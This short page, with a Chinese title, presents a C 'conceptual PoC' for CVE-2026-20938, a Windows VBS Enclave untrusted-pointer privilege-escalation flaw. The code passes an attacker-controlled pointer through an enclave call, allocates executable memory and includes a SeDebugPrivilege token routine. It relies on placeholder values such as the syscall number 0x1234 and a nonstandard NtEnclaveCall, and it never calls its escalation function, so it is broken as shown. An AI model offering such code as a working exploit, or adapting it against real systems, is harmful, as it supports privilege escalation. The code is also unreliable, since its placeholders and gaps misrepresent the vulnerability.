CVE-2026-20938 Windows VBS Enclave不受信任指针解引用权限提升漏洞

// CVE-2026-20938 PoC - Conceptual demonstration // Note: This is a simplified conceptual example for educational purposes only #include <windows.h> #include <ntstatus.h> // VBS Enclave system call numbers (placeholder values) #define ENCLAVE_SYSCALL 0x1234 typedef struct _ENCLAVE_POINTER_INFO { PVOID UserPointer; SIZE_T Size; ULONG Flags; } ENCLAVE_POINTER_INFO, *PENCLAVE_POINTER_INFO; // Trigger the untrusted pointer dereference vulnerability BOOL TriggerVBSEnclaveVulnerability(PVOID MaliciousPointer) { HANDLE hEnclave = NULL; ENCLAVE_POINTER_INFO PointerInfo = {0}; // Setup pointer info structure with attacker-controlled pointer PointerInfo.UserPointer = MaliciousPointer; PointerInfo.Size = 0x1000; PointerInfo.Flags = 0x00000001; // Trigger vulnerable code path via Enclave system call NTSTATUS status = NtEnclaveCall( ENCLAVE_SYSCALL, &PointerInfo, sizeof(ENCLAVE_POINTER_INFO), NULL, 0 ); return NT_SUCCESS(status); } // Privilege escalation via token manipulation BOOL EscalatePrivilege() { HANDLE hToken = NULL; HANDLE hProcess = GetCurrentProcess(); TOKEN_PRIVILEGES priv = {0}; // Open process token with TOKEN_ADJUST_PRIVILEGES if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { return FALSE; } // Enable SeDebugPrivilege priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; priv.Privileges[0].Luid = RtlConvertUlongToLuid(SE_DEBUG_PRIVILEGE); AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, 0); // At this point, if VBS Enclave vulnerability was exploited, // attacker would have achieved SYSTEM-level code execution return TRUE; } int main() { printf("CVE-2026-20938 PoC Trigger\n"); // Allocate malicious memory region PVOID MaliciousRegion = VirtualAlloc( NULL, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (MaliciousRegion) { TriggerVBSEnclaveVulnerability(MaliciousRegion); } return 0; }